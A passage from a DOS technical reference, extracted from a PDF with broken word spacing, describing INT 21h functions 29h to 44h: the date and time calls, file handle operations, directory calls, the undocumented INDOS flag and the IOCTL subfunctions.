ES: DI = poi nt er t o a buf f er f or unopened ~FCB~


Bi t pat t er ns f or par si ng cont r ol f ound i n AL:

7 6 5 4 3 2 1 0 AL
1 = i gnor e l eadi ng separ at or s
0 = don' t i gnor e l eadi ng separ at or s
1 = modi f y dr i ve I D i f speci f i ed
0 = modi f y dr i ve I D r egar dl ess
1 = modi f y f i l ename i f speci f i ed
0 = modi f y f i l ename r egar dl ess
1 = modi f y ext ensi on i f speci f i ed
0 = modi f y ext ensi on r egar dl ess
unused

on r et ur n:
AL = 00 i f no wi l dcar d char act er s pr esent
= 01 i f wi l dcar ds pr esent i n st r i ng
= FF i f dr i ve speci f i er i s i nval i d
DS: SI = poi nt er t o t he f i r st char act er af t er par sed f i l ename
ES: DI = poi nt er t o t he updat ed unopened FCB


- r et r i eves f i l ename f r omt he command l i ne st r i ng and pl aces
t he f i l ename component s i nt o an unopened FCB f or l at er use
- i f no f i l ename i s f ound a poi nt er i s r et ur ned i n ES: DI t hat
has a bl ank at ES: DI +1
- t hi s f unct i on can be used t o det ect t he exi st ence of l ogi cal DOS
dr i ves by cr eat i ng a dummy f i l espec wi t h a dr i ve l et t er and col on
pr epended. I f t he dr i ve i s i nval i d, t hi s f unct i on wi l l r et ur n FF
i n AL
: i nt 21, 2a
^I NT 21, 2A - Get Dat e


AH = 2A


on r et ur n:
AL = day of t he week ( 0=Sunday)
Pagina 920 di 991
CX = year ( 1980- 2099)
DH = mont h ( 1- 12)
DL = day ( 1- 31)


- r et r i eves syst emdat e based on t he DOS mai nt ai ned cl ock
- updat es ~BI OS Dat a Ar ea~ cur r ent dat e and dat e r ol l over f l ag
at l ocat i on 40: 70

: i nt 21, 2b
^I NT 21, 2B - Set Dat e


AH = 2B
CX = year ( 1980- 2099)
DH = mont h ( 1- 12)
DL = day ( 1- 31)


on r et ur n:
AL = 00 i f dat e change successf ul
= FF i f i nval i d dat e


- set s DOS mai nt ai ned cl ock
- DOS ver si ons 3. 3+ al so updat e t he ~CMOS~ dat e wher e appl i cabl e

: i nt 21, 2c
^I NT 21, 2C - Get Ti me


AH = 2C


on r et ur n:
CH = hour ( 0- 23)
CL = mi nut es ( 0- 59)
DH = seconds ( 0- 59)
DL = hundr edt hs ( 0- 99)


- r et r i eves DOS mai nt ai ned cl ock t i me
: i nt 21, 2d
^I NT 21, 2D - Set Ti me


AH = 2D
CH = hour ( 0- 23)
CL = mi nut es ( 0- 59)
DH = seconds ( 0- 59)
DL = hundr edt hs ( 0- 99)


on r et ur n:
AL = 00 i f t i me change successf ul
= FF i f t i me i nval i d


- changes DOS mai nt ai ned cl ock
- DOS ver si on 3. 3+ al so updat e CMOS cl ock wher e appl i cabl e

: i nt 21, 2e
^I NT 21, 2E - Set / Reset Ver i f y Swi t ch
Pagina 921 di 991


AH = 2E
AL = 00 t o set of f
= 01 t o set ver i f y on
DH = 00 f or DOS ver si ons bef or e 3. 0


r et ur ns not hi ng


- wi t h t he ver i f y set t i ng on, di sk I / O i s mor e secur e but
t akes l onger t o compl et e


- see ~I NT 21, 54~

: i nt 21, 2f
^I NT 21, 2F - Get Di sk Tr ansf er Addr ess ( DTA)


AH = 2F


on r et ur n:
ES: BX = poi nt er t o cur r ent ~DTA~


- r et ur ns t he DTA addr ess
- t he def aul t DTA i s a 128 byt e bl ock at addr ess 80h i n t he
Pr ogr amSegment Pr ef i x ( ~PSP~) . Thi s ar ea al so cont ai ns t he
command t ai l at pr ogr amst ar t up i t must be saved or t he DTA
must be r el ocat ed bef or e use t o pr eser ve t he command t ai l

- see ~I NT 21, 1A~

: i nt 21, 30
^I NT 21, 30 - Get DOS Ver si on Number


AH = 30h


on r et ur n:
AL = maj or ver si on number ( 2- 5)
AH = mi nor ver si on number ( i n hundr edt hs deci mal )
BH = FF i ndi cat es MS- DOS, onl y i f OEM vendor chooses t o i dent i f y
= 00 i ndi cat es PC- DOS
BL: CX = 24 bi t OEM ser i al number i f BH i s FF


- f or an exampl e DOS ver si on 2. 1 r et ur ns AL=2 and AH=10
- DOS ver si ons pr i or t o DOS 2. 0 r et ur n zer o i n AH and AL
- DOS ver si on 4. 0 and 4. 1 usual l y r et ur n t he same val ue of 4. 00
- t he OEM ser i al number i s a r ar i t y, t hough some ol der OEM DOS
ver si ons i mpl ement ed t hi s f eat ur e
- t he OS/ 2 compat i bi l i t y box r et ur ns 10. 10 f or OS/ 2 1. 1, 10. 20
f or OS/ 2 1. 2, et c. . .
- when t est i ng f or ver si on, a speci f i c t est can of t en cause your
code t o not wor k i n f ol l owi ng ver si ons of DOS. I t i s of t en bet t er
t o t est f or a ver si on number gr eat er or equal t o t he mi ni mumr at her
t han a speci f i c ver si on number wher e possi bl e
- see ~DOS Ver si ons~
Pagina 922 di 991
: i nt 21, 31
^I NT 21, 31 - Ter mi nat e Pr ocess and Remai n Resi dent


AH = 31h
AL = exi t code ( r et ur ned t o bat ch f i l es)
DX = memor y si ze i n par agr aphs t o r eser ve


r et ur ns not hi ng


- pr ef er r ed met hod f or Ter mi nat e and St ay Resi dent pr ogr ams
- t er mi nat es pr ocess wi t hout r el easi ng al l ocat ed memor y and
wi t hout cl osi ng open f i l es
- at t empt s al l ocat i on of memor y speci f i ed i n DX f r ommemor y
al l ocat ed by DOS at st ar t up. ~I NT 21, 48~ memor y al l ocat i on
i s not af f ect ed

- see ~I NT 27~

: i nt 21, 32
^I NT 21, 32 - Get Poi nt er t o Dr i ve Par amet er Tabl e ( Undocument ed)

AH = 32h
DL = dr i ve ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )


on r et ur n:
AL = FF i f t he dr i ve number i n DL was i nval i d
DS: BX = addr ess of dr i ve par amet er t abl e ( ~DPT~)


- avai l abl e si nce DOS 2. 0
- used by DOS commands CHKDSK and RECOVER
- f or ces a medi a check, whi ch cl ear s byt e DS: [ BX+17h] or DS: [ BX+18h]
i n t he Dr i ve Par amet er Tabl e
- act ual l y accesses t he di sk, causi ng a cr i t i cal er r or i f a di sk
er r or occur s
- can be used t o det er mi ne i f a dr i ve i s SUBST' ed by compar i ng
DS: [ BX+1] and DS: [ BX] f or a mat ch. I f not equal , t hen t he
dr i ve i s possi bl y SUBST' ed ( t hough not guar ant eed, t hi s may al so
i ndi cat e a Ber noul l i box)
- can be used t o det er mi ne i f a dr i ve i s a RAM di sk; i f t he di sk i s
NOT r emovabl e and ( DS: [ BX+1] == 0) , t hen t he di sk i s a RAM di sk
( see ~I OCTL, 0~ bi t number 0Bh t o det er mi ne i f t he di sk i s r emovabl e)
: i nt 21, 33
^I NT 21, 33 - Get / Set Syst emVal ues ( Ct l - Br eak/ Boot Dr i ve)


AH = 33h
AL = 00 t o get Ct r l - Br eak checki ng f l ag
= 01 t o set Ct r l - Br eak checki ng f l ag
= 02 t o set ext ended Ct r l - Br eak checki ng
= 05 get boot dr i ve ( DOS 4. x)
DL = 00 t o set Ct r l - Br eak checki ng of f
= 01 t o set Ct r l - Br eak checki ng on
= boot dr i ve f or subf unct i on 5; ( 1=A: , 2=B: , . . . )


on r et ur n:
DL = 00 Ct r l - Br eak checki ng OFF ( AL=0 or AL=2)
= 01 Ct r l - Br eak checki ng ON ( AL=0 or AL=2)
Pagina 923 di 991
= boot dr i ve number ( 1- 26, A: - Z: ) ( f unct i on 05)


- r et r i eves DOS Ct r l - Br eak or ext ended Ct r l - Br eak set t i ng whi ch
det er mi nes i f DOS wi l l check f or Ct r l - Br eak dur i ng I NT 21 cal l s
: i nt 21, 34: I NDOS
^I NT 21, 34 - Get Addr ess t o DOS Cr i t i cal Fl ag
^I NDOS ( Undocument ed DOS 2. 0+)

AH = 34h

on r et ur n:
ES: BX = addr ess of a byt e i ndi cat i ng whet her a DOS cal l i s
i n pr ogr ess. No DOS cal l s shoul d be made i f set .


- AKA t he I NDOS f l ag, t hi s cr i t i cal sect i on f l ag may be checked f r om
wi t hi n an i nt er r upt handl er bef or e r equest i ng a DOS ser vi ce. I t i s
a semaphor e t hat i s non- zer o when DOS i s busy, and zer o ot her wi se.
- t hough t hi s f l ag i ndi cat es whet her a DOS i nt er r upt i s act i ve, i t
shoul d not be used al one t o det er mi ne DOS i s saf e f or r e- ent r y;
Her e' s t he st andar d r ul e f or saf e DOS ent r y: i f ~I NT 28~ i s act i ve
or t hi s f l ag and t he cr i t i cal er r or f l ag ar e cl ear t hen i t i s saf e
t o cal l DOS
- t hi s i nt er r upt shoul d be used onl y dur i ng TSR i ni t i al i zat i on;
t he r et ur ned poi nt er shoul d be used t her eaf t er
- t hi s f l ag i s cl ear ed af t er a cr i t i cal er r or ( ~I NT 24~)
- ES: BX- 1 poi nt s t o t he cr i t i cal er r or f l ag f or DOS 3. x+
ES: BX+1 poi nt s t o t he cr i t i cal er r or f l ag f or DOS 2. x
ES: BX- 1AA poi nt s t o t he cr i t i cal er r or f l ag f or COMPAQ DOS 3. 0
~I NT 21, 5D~ i n DOS 3. x+ can be used t o l ocat e t he cr i t i cal
er r or f l ag
: i nt 21, 35
^I NT 21, 35 - Get I nt er r upt Vect or


AH = 35h
AL = i nt er r upt vect or number


on r et ur n:
ES: BX = poi nt er t o i nt er r upt handl er


- st andar d met hod f or r et r i evi ng i nt er r upt vect or s


- see ~I NT 21, 25~

: i nt 21, 36
^I NT 21, 36 - Get Di sk Fr ee Space


AH = 36h
DL = dr i ve number ( 0=def aul t , 1=A: )


on r et ur n:
AX = sect or s per cl ust er
= FFFF i f dr i ve i s i nval i d
BX = number of avai l abl e cl ust er s
CX = number of byt es per sect or
DX = number of cl ust er s per dr i ve
Pagina 924 di 991


- used t o det er mi ne avai l abl e space on speci f i ed di sk
- see ~I NT 21, 1B~ ~I NT 21, 1C~

: i nt 21, 37
^I NT 21, 37 - Get / Set Swi t ch Char act er ( Undocument ed, DOS 2. 0+)


AH = 37h
AL = 0 get swi t ch char act er i nt o DL; some syst ems r et ur n " - "
= 1 set swi t ch char act er t o val ue i n DL
= 2 r ead devi ce pr ef i x f l ag i nt o DL; r et ur ns DL = 0 i ndi cat i ng
devi ces must be accessed usi ng / DEV/ devi ce. A non- zer o val ue
i ndi cat es devi ces may be accessed wi t hout pr ef i x
= 3 set devi ce pr ef i x f l ag, devi ce names must begi n wi t h \ DEV\ .
DL = new swi t ch char act er ( AL=1)
= 00 \ DEV\ must pr eceed devi ce names ( AL=3)
= 01 \ DEV\ i s not neccesar y i n devi ce names ( AL=3)

on r et ur n:
AL = FF i l l egal subf unct i on code speci f i ed
DL = cur r ent swi t ch char act er ( AL=0)
= devi ce avai l abi l i t y ( AL=2, al ways FF wi t h DOS 4. x+)


- subf unct i ons 0 and 1 wer e f or mer l y avai l abl e as a CONFI G. SYS
command i n DOS ver si ons bef or e 3. x; al so suppor t edi n t he OS/ 2
compat i bi l i t y box
- subf unct i ons 2 and 3 wer e avai l abl e i n DOS 2. x onl y; t hey have
no ef f ect i n DOS 4. x+
- / DEV/ pr ef i x i s val i d i n DOS 2. x by def aul t , set t i ng t he f l ag makes
i t mandat or y. DOS i nt er nal commands l i ke DI R, TYPE and DEL do not
r ecogni ze f i l enames t he ar e i dent i cal t o devi ce names r egar dl ess of
t he set t i ng of t he AVAI LDEV f l ag.
: i nt 21, 38
^I NT 21, 38 - Get / Set Count r y Dependent I nf or mat i on

AH = 38h
AL = 00 t o get cur r ent count r y i nf or mat i on
= 00- FE count r y codes ( DOS 3. x+)
= FF f or count r y codes >= FF, count r y codes ar e i n BX
BX = count r y code i f AL = FF ( count r y code > 255)
DX = FFFF t o set count r y i nf or mat i on
DS: DX = poi nt er t o buf f er t o cont ai n count r y dat a ( i f get dat a)

on r et ur n:
AX = er r or code i f CF set
= 02 i nval i d count r y
BX = count r y code ( DOS 3. x+)
DS: DX = poi nt er t o r et ur ned count r y dat a ( see ~COUNTRY CODES~)


- r et ur ns a poi nt er t o count r y speci f i c dat a, f or DOS 3. x+ t hi s
f unct i on can be used t o al so set t hi s i nf or mat i on
: i nt 21, 39
^I NT 21, 39 - Cr eat e Subdi r ect or y ( mkdi r )


AH = 39h
DS: DX = poi nt er t o ASCI I Z pat h name


Pagina 925 di 991
on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AX = er r or code ( see ~DOS ERROR CODES~)


- cr eat es speci f i ed subdi r ect or y
- r et ur ns er r or i f di r ect or y al r eady exi st s, el ement of t he pat h
i s not f ound, di r ect or y f ul l or wr i t e pr ot ect ed di sk

: i nt 21, 3a
^I NT 21, 3A - Remove Subdi r ect or y ( r mdi r )


AH = 3A
DS: DX = poi nt er t o ASCI I Z pat h name


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AX = er r or code ( see ~DOS ERROR CODES~)


- al l ows del et i on of a subdi r ect or y as l ong as i t exi st s, i s empt y
and not t he cur r ent di r ect or y

: i nt 21, 3b
^I NT 21, 3B - Change Cur r ent Di r ect or y ( chdi r )


AH = 3B
DS: DX = poi nt er t o ASCI I Z pat h name


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- changes t he cur r ent di r ect or y t o t he di r ect or y speci f i ed
by poi nt er DS: DX

: i nt 21, 3c
^I NT 21, 3C - Cr eat e Fi l e Usi ng Handl e


AH = 3C
CX = f i l e at t r i but e ( see ~FI LE ATTRI BUTES~)
DS: DX = poi nt er t o ASCI I Z pat h name


on r et ur n:
CF = 0 i f successf ul
= 1 i f er r or
AX = f i l es handl e i f successf ul
= er r or code i f f ai l ur e ( see ~DOS ERROR CODES~)


- i f f i l e al r eady exi st s, i t i s t r uncat ed t o zer o byt es on openi ng

: i nt 21, 3d
Pagina 926 di 991
^I NT 21, 3D - Open Fi l e Usi ng Handl e

AH = 3D
AL = open access mode
00 r ead onl y
01 wr i t e onl y
02 r ead/ wr i t e
DS: DX = poi nt er t o an ASCI I Z f i l e name

on r et ur n:
AX = f i l e handl e i f CF not set
= er r or code i f CF set ( see ~DOS ERROR CODES~)


% Access modes i n AL:

7 6 5 4 3 2 1 0 AL
r ead/ wr i t e/ updat e access mode
r eser ved, al ways 0
shar i ng mode ( see bel ow) ( DOS 3. 1+)
1 = pr i vat e, 0 = i nher i t abl e ( DOS 3. 1+)


% Shar i ng mode bi t s ( DOS 3. 1+) : Access mode bi t s:
% 654 210
000 compat i bi l i t y mode ( excl usi ve) 000 r ead access
001 deny ot her s r ead/ wr i t e access 001 wr i t e access
010 deny ot her s wr i t e access 010 r ead/ wr i t e access
011 deny ot her s r ead access
100 f ul l access per mi t t ed t o al l


- wi l l open nor mal , hi dden and syst emf i l es
- f i l e poi nt er i s pl aced at begi nni ng of f i l e

: i nt 21, 3e
^I NT 21, 3E - Cl ose Fi l e Usi ng Handl e


AH = 3E
BX = f i l e handl e t o cl ose


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- i f f i l e i s opened f or updat e, f i l e t i me and dat e st amp
as wel l as f i l e si ze ar e updat ed i n t he di r ect or y
- handl e i s f r eed

: i nt 21, 3f
^I NT 21, 3F - Read Fr omFi l e or Devi ce Usi ng Handl e


AH = 3F
BX = f i l e handl e
CX = number of byt es t o r ead
DS: DX = poi nt er t o r ead buf f er


on r et ur n:
AX = number of byt es r ead i s CF not set
Pagina 927 di 991
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- r ead speci f i ed number of byt es f r omf i l e i nt o buf f er DS: DX
- when AX i s not equal t o CX t hen a par t i al r ead occur r ed due
t o end of f i l e
- i f AX i s zer o, no dat a was r ead, and EOF occur r ed bef or e r ead

: i nt 21, 40
^I NT 21, 40 - Wr i t e To Fi l e or Devi ce Usi ng Handl e


AH = 40h
BX = f i l e handl e
CX = number of byt es t o wr i t e, a zer o val ue t r uncat es/ ext ends
t he f i l e t o t he cur r ent f i l e posi t i on
DS: DX = poi nt er t o wr i t e buf f er


on r et ur n:
AX = number of byt es wr i t t en i f CF not set
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- i f AX i s not equal t o CX on r et ur n, a par t i al wr i t e occur r ed
- t hi s f unct i on can be used t o t r uncat e a f i l e t o t he cur r ent
f i l e posi t i on by wr i t i ng zer o byt es
: i nt 21, 41
^I NT 21, 41 - Del et e Fi l e


AH = 41h
DS: DX = poi nt er t o an ASCI I Z f i l ename


on r et ur n:
AX = er r or code i f CF set ( see DOS ERROR CODES)


- mar ks f i r st byt e of f i l e di r ect or y ent r y wi t h E5 t o i ndi cat e
t he f i l e has been del et ed. The r est of t he di r ect or y ent r y
st ays i nt act unt i l r eused. ~FAT~ poi nt er s ar e r et ur ned t o DOS
- document ed as not accept i ng wi l dcar ds i n f i l ename but act ual l y
does i n sever al DOS ver si ons
: i nt 21, 42
^I NT 21, 42 - Move Fi l e Poi nt er Usi ng Handl e


AH = 42h
AL = or i gi n of move:
00 = begi nni ng of f i l e pl us of f set ( SEEK_SET)
01 = cur r ent l ocat i on pl us of f set ( SEEK_CUR)
02 = end of f i l e pl us of f set ( SEEK_END)
BX = f i l e handl e
CX = hi gh or der wor d of number of byt es t o move
DX = l ow or der wor d of number of byt es t o move


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
DX: AX = new poi nt er l ocat i on i f CF not set


Pagina 928 di 991
- seeks t o speci f i ed l ocat i on i n f i l e
: i nt 21, 43
^I NT 21, 43 - Get / Set Fi l e At t r i but es

AH = 43h
AL = 00 t o get at t r i but e
= 01 t o set at t r i but e
DS: DX = poi nt er t o an ASCI I Z pat h name
CX = at t r i but e t o set

5 4 3 2 1 0 CX val i d f i l e at t r i but es
1 = r ead onl y
1 = hi dden
1 = syst em
not used f or t hi s cal l
1 = ar chi ve


on r et ur n:
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
CX = t he at t r i but e i f AL was 00

- see ~DI RECTORY~

: i nt 21, 44
^I NT 21, 44 - I / O Cont r ol f or Devi ces ( I OCTL)

% St andar d Cal l For mat

AH = 44h
AL = f unct i on val ue
BX = f i l e handl e
BL = l ogi cal devi ce number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )
CX = number of byt es t o r ead or wr i t e
DS: DX = dat a or buf f er


on r et ur n:
AX = er r or code i f CF set
AX = # of byt es t r ansf er r ed i f CF not set


% For mor e i nf or mat i on, see t he f ol l owi ng t opi cs:

~I OCTL, 0~ Get Devi ce I nf or mat i on
~I OCTL, 1~ Set Devi ce I nf or mat i on
~I OCTL, 2~ Read Fr omChar act er Devi ce
~I OCTL, 3~ Wr i t e t o Char act er Devi ce
~I OCTL, 4~ Read Fr omBl ock Devi ce
~I OCTL, 5~ Wr i t e t o Bl ock Devi ce
~I OCTL, 6~ Get I nput St at us
~I OCTL, 7~ Get Out put St at us
~I OCTL, 8~ Devi ce Removabl e Quer y
~I OCTL, 9~ Devi ce Local or Remot e Quer y
~I OCTL, A~ Handl e Local or Remot e Quer y
~I OCTL, B~ Set Shar i ng Ret r y Count
~I OCTL, C~ Gener i c I / O f or Handl es
~I OCTL, D~ Gener i c I / O f or Bl ock Devi ces ( 3. 2+)
~I OCTL, E~ Get Logi cal Dr i ve ( 3. 2+)
~I OCTL, F~ Set Logi cal Dr i ve ( 3. 2+)


- see: ~DEVI CE COMMAND CODES~
Pagina 929 di 991
~DEVI CE REQUEST HEADER~
~DEVI CE STATUS~
~DEVI CE HEADER~
~DEVI CE ATTRI BUTES~

: i nt 21, 44, 0: I OCTL, 0
^I NT 21, 44, 0 / I OCTL, 0 - Get Devi ce I nf or mat i on

AH = 44h
AL = 00
BX = handl e ( must be an opened devi ce)


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
DX = devi ce i nf or mat i on ( see t abl es bel ow)


F E D C B A- 8 7 6 5- 0 DX Bl ock Devi ce I nf or mat i on
dr i ve number ( 0=A: , 1=B: )
0 = f i l e has been wr i t t en
0 = di sk f i l e; 1 = char act er devi ce
r eser ved, must be zer o
1 = medi a not r emovabl e
1 = net wor k devi ce ( DOS 3. x+)
1 = r eser ved
1 = don' t updat e f i l e t i me or dat e ( DOS 4. x+)
1 = f i l e i s r emot e ( DOS 3. x+)

F E D C B A- 8 7 6 5 4 3 2 1 0 DX Char act er Devi ce I nf or mat i on
1 = st andar d i nput devi ce
1 = st andar d out put devi ce
1 = NUL devi ce
1 = cl ock devi ce
uses DOS ~I NT 29~ f or f ast char act er out put
1 = bi nar y mode, 0 = t r ansl at ed
0 = end of f i l e on i nput
1 = char act er devi ce, 0 i f di sk f i l e
r eser ved
1 = medi a not r emovabl e
1 = net wor k devi ce ( DOS 3. x+)
r eser ved
1 = suppor t s I OCTL, vi a f unct i ons 2 & 3
r eser ved


- BI T 7 of r egi st er DX can be used t o det ect i f STDI N/ STDOUT i s
r edi r ect ed t o/ f r omdi sk; i f a cal l t o t hi s f unct i on has DX BI T 7
set i t ' s not r edi r ect ed f r om/ t o di sk; i f i t ' s cl ear t hen i t i s
r edi r ect ed t o/ f r omdi sk
- BI T B of r egi st er DX can be used t o det er mi ne i f a dr i ve i s
r emovabl e.

: i nt 21, 44, 1: I OCTL, 1
^I NT 21, 44, 1 / I OCTL, 1 - Set Devi ce I nf or mat i on

AH = 44h
AL = 01
BX = handl e
DH = must be zer o
DL = devi ce dat a l ow or der byt e ( see bel ow)


Pagina 930 di 991
on r et ur n
AX = er r or code i f CF set
DX = devi ce i nf or mat i on ( see bel ow)


- appl i cabl e t o char act er devi ces onl y
- al l ows set t i ng of devi ce dat a wor d f or char act er devi ces
- usual l y used t o change f r ombi nar y t o t r ansl at ed I / O
- handl e i n BX must be an opened f i l e or devi ce


^Devi ce Dat a Wor d

F E D C B A 9 8 7 6 5 4 3 2 1 0 Devi ce Dat a Wor d
1 = st andar d i nput devi ce
1 = st andar d out put devi ce
1 = NUL devi ce
1 = cl ock devi ce
r eser ved
1 = bi nar y mode, 0 = t r ansl at ed
0 = end of f i l e on i nput
1 = char act er devi ce
r eser ved, must be zer o


: i nt 21, 44, 2: I OCTL, 2
^I NT 21, 44, 2 / I OCTL, 2 - Read Fr omChar act er Devi ce


AH = 44h
AL = 02
BX = handl e
CX = number of byt es t o r ead
DS: DX = poi nt er t o dat a buf f er


on r et ur n
AX = number of byt es r ead i f CF cl ear
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- see bi t 14 i f I OCTL f unct i on 00h t o det er mi ne i f
dr i ver can suppor t I OCTL cont r ol st r i ngs

: i nt 21, 44, 3: I OCTL, 3
^I NT 21, 44, 3 / I OCTL, 3 - Wr i t e t o Char act er Devi ce


AH = 44h
AL = 03
BX = handl e
CX = number of byt es t o send
DS: DX = poi nt er t o dat a buf f er


on r et ur n
AX = number of byt es wr i t t en i f CF cl ear
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- see bi t 14 i f I OCTL f unct i on 00h t o det er mi ne i f
dr i ver can suppor t I OCTL cont r ol st r i ngs

Pagina 931 di 991
: i nt 21, 44, 4: I OCTL, 4
^I NT 21, 44, 4 / I OCTL, 4 - Read f r omBl ock Devi ce


AH = 44h
AL = 04
BL = dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )
CX = number of byt es t o r ead
DS: DX = poi nt er t o dat a buf f er


on r et ur n
AX = number of byt es r ead i f CF cl ear
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- bl ock dr i ver s ar e not r equi r ed t o suppor t t hi s f unct i on
- r et ur ns AX = 01 ( i nval i d f unct i on code) i f not suppor t ed

: i nt 21, 44, 5: I OCTL, 5
^I NT 21, 44, 5 / I OCTL, 5 - Wr i t e t o Bl ock Devi ce


AH = 44h
AL = 05
BL = dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )
CX = number of byt es t o send
DS: DX = poi nt er t o dat a buf f er


on r et ur n
AX = number of byt es wr i t t en i f CF cl ear
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- bl ock devi ces ar e not r equi r ed t o suppor t t hi s f unct i on
- r et ur ns AX = 01 ( i nval i d f unct i on code) i f not suppor t ed

: i nt 21, 44, 6: I OCTL, 6
^I NT 21, 44, 6 / I OCTL, 6 - Get I nput St at us


AH = 44h
AL = 06
BX = handl e


on r et ur n
CF = 0 i f successf ul
= 1 i f er r or
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
AL = 00 i f EOF ( f i l es) , or not r eady ( char devi ces)
= FF i f not EOF ( f i l es) , or r eady ( char devi ces)


- used t o det er mi ne i f a f i l e or devi ce i s r eady f or i nput
- can be used t o det er mi ne EOF unl ess EOF caused by ~I NT 21, 42~

: i nt 21, 44, 7: I OCTL, 7
^I NT 21, 44, 7 / I OCTL, 7 - Get Out put St at us


AH = 44h
Pagina 932 di 991
AL = 07
BX = handl e


on r et ur n
CF = 0 i f successf ul
= 1 i f er r or
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
AL = 00 i f r eady ( f i l es) , or not r eady ( char devi ces)
= FF r eady ( f i l es or char devi ce)


- i ndi cat es i f a devi ce or f i l e i s r eady f or out put
- f i l es al ways r et ur n r eady, char act er devi ces don' t

: i nt 21, 44, 8: I OCTL, 8
^I NT 21, 44, 8 / I OCTL, 8 - Devi ce Removabl e Quer y

AH = 44h
AL = 08
BL = dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )


on r et ur n
CF = 0 i f successf ul
= 1 i f er r or
AX = 00 r emovabl e medi a
= 01 non- r emovabl e medi a
= er r or code i f CF set ( see ~DOS ERROR CODES~)


- used t o det er mi ne i f a devi ce suppor t s r emovabl e medi a
- RAM di sks ar e not consi der ed r emovabl e medi a
- devi ce dr i ver s compat i bl e wi t h DOS 2. 0 do not al ways r espond
cor r ect l y t o t hi s quer y
- i mpl ement ed f r omDOS 3. 0; f or ear l i er DOS ver si ons dr i ve A: and
B: ar e r emovabl e medi a si nce DRI VER. SYS/ SUBST ar e DOS 3. 0+ onl y
: i nt 21, 44, 9: I OCTL, 9
^I NT 21, 44, 9 / I OCTL, 9 - Devi ce Local or Remot e Quer y


AH = 44h
AL = 09
BL = dr i ve number ( 0=def aul t , 1=A: , 2=B: , 3=C: , . . . )


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
DX = devi ce at t r i but e wor d
bi t 12 = 1 i f dr i ve i s r emot e
bi t 12 = 0 i f dr i ve i s l ocal


- used t o det er mi ne i f bl ock devi ce i s l ocal or r emot e
- r et ur ns i nval i d f unct i on i f net wor ki ng not st ar t ed
- i mpl ement ed f r omDOS 3. 1

: i nt 21, 44, a: I OCTL, a
^I NT 21, 44, A / I OCTL, A - Handl e Local or Remot e Quer y


AH = 44h
AL = 0A
Pagina 933 di 991
BX = handl e


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)
DX = devi ce at t r i but e wor d
bi t 15 = 1 i f dr i ve i s r emot e
bi t 15 = 0 i f dr i ve i s l ocal


- used t o det er mi ne i f bl ock devi ce i s l ocal or r emot e
- r et ur ns i nval i d f unct i on i f net wor ki ng not st ar t ed
- i mpl ement ed f r omDOS 3. 1

: i nt 21, 44, b: I OCTL, b
^I NT 21, 44, B / I OCTL, B - Set Shar i ng Ret r y Count


AH = 44h
AL = 0B
CX = pause bet ween r et r i es ( def aul t 1)
DX = number of r et r i es ( def aul t 3)


on r et ur n
AX = er r or code i f CF set ( see ~DOS ERROR CODES~)


- r et r y par amet er s ar e associ at ed wi t h f i l e l ocki ng
- di f f er ences i n CPU and cl ock speeds af f ect l engt h of pauses
- r equi r es SHARE be l oaded or i nval i d f unct i on i s r et ur ned
- i mpl ement ed f r omDOS 3. 0

: i nt 21, 44, c: I OCTL, c
^I NT 21, 44, C / I OCTL, C - Gener i c I / O f or Handl es

AH = 44h
AL = 0C
BX = handl e
CH = devi ce t ype
= 00 unknown devi ce t ype ( DOS 3. 3+)
= 01 COMx ( DOS 3. 3+)
= 03 CON ( DOS 3. 3+)
= 05 LPTx ( DOS 3. 3+) , pr i nt er ( DOS 3. 2)
CL = mi nor f unct i on code ( when CH = 3 or CH = 5)
= 45 set i t er at i on count ( DOS 3. 2 onl y)

= 4A sel ect code page ( DOS 3. 3+) ; par amet er f or mat :
00 wor d l engt h of dat a
02 wor d code page I D
04 nwor ds char act er set dat a ar r ay ( see of f set 00)

= 4C code page pr epar e st ar t ( DOS 3. 3+) ; par amet er f or mat :
00 wor d f l ags
02 wor d l engt h of r emai nder of par amet er bl ock
04 wor d number of code pages f ol l owi ng
06 nwor ds code page 1, . . . , N

= 4D code page pr epar e end ( DOS 3. 3+) ; par amet er f or mat :
00 wor d l engt h of dat a
02 wor d code page I D

= 5F set di spl ay i nf o ( DOS 4. x, when CH=3) ; par amet er f or mat :
Pagina 934 di 991
00 byt e l evel ( 0 f or DOS 4. 0)
01 byt e r eser ved
02 wor d l engt h of f ol l owi ng dat a
04 wor d cont r ol f l ags
bi t 0 set f or bl i nk, cl ear f or i nt ensi t y
bi t s 1 t o 15 r eser ved
06 byt e mode t ype ( 1=t ext , 2=gr aphi cs)
07 byt e r eser ved
08 wor d col or s; 0=monochr ome, n=bi t s per pi xel
0A wor d pi xel col umns
0C wor d pi xel r ows
0E wor d char act er col umns
10 wor d char act er r ows

= 65 get i t er at i on count ( DOS 3. 2 onl y)

= 6A quer y sel ect ed code page ( DOS 3. 3+) ; par amet er f or mat :
00 wor d l engt h of dat a
02 wor d code page I D
04 nwor ds char act er set dat a ar r ay ( see of f set 00)

= 6B quer y pr epar e l i st ( DOS 3. 3+) ; Par amet er f or mat :
00 wor d l engt h of f ol l owi ng dat a
02 wor d number of har dwar e code pages
04 nwor ds har dwar e code page ar r ay
xx wor d number of pr epar ed code pages
xx nwor ds pr epar ed code page ar r ay

= 7F get di spl ay i nf o ( DOS 4. x, CH = 3)
00 byt e l evel ( 0 f or DOS 4. 0)
01 byt e r eser ved
